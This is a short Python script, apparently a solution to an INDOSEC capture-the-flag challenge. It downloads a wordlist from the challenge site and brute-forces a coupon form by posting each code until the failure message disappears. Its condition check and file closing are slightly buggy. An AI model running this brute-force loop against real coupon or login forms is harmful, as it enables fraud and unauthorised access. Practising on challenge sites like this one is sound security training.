Solve CTF INDOSEC

from requests import Session
import threading, sys, requests,re

url = "https://official.indsc.me/kupon.php"
ua = {'User-Agent':'INDOSEC/1.0'}
s = Session()
def ps(url,ua):
    a = open("tes.txt", "r").readlines()
    for line in a:
        ctf = line.strip()
        r = s.post(url,headers=ua,data={'kupon':ctf,'submit':'submit'})
        cek = r.text
        if "Gagal mendapatkan kupon gratis. Karena token tidak sama." and "Gagal mendapatkan kupon gratis." in str(cek):
            print(f"kode {ctf}")
            print(cek)
        else:
            print(f"kode {ctf}")
            print(cek)
            sys.exit()

def ambil():
    r = requests.post("https://official.indsc.me/wordlist_ctf.php").text
    b = open("tes.txt","w")
    b.write(str(r))
    b.close
    t = threading.Thread(target=ps, args=(url, ua, ))
    t.start()

if __name__ == '__main__':
    ambil()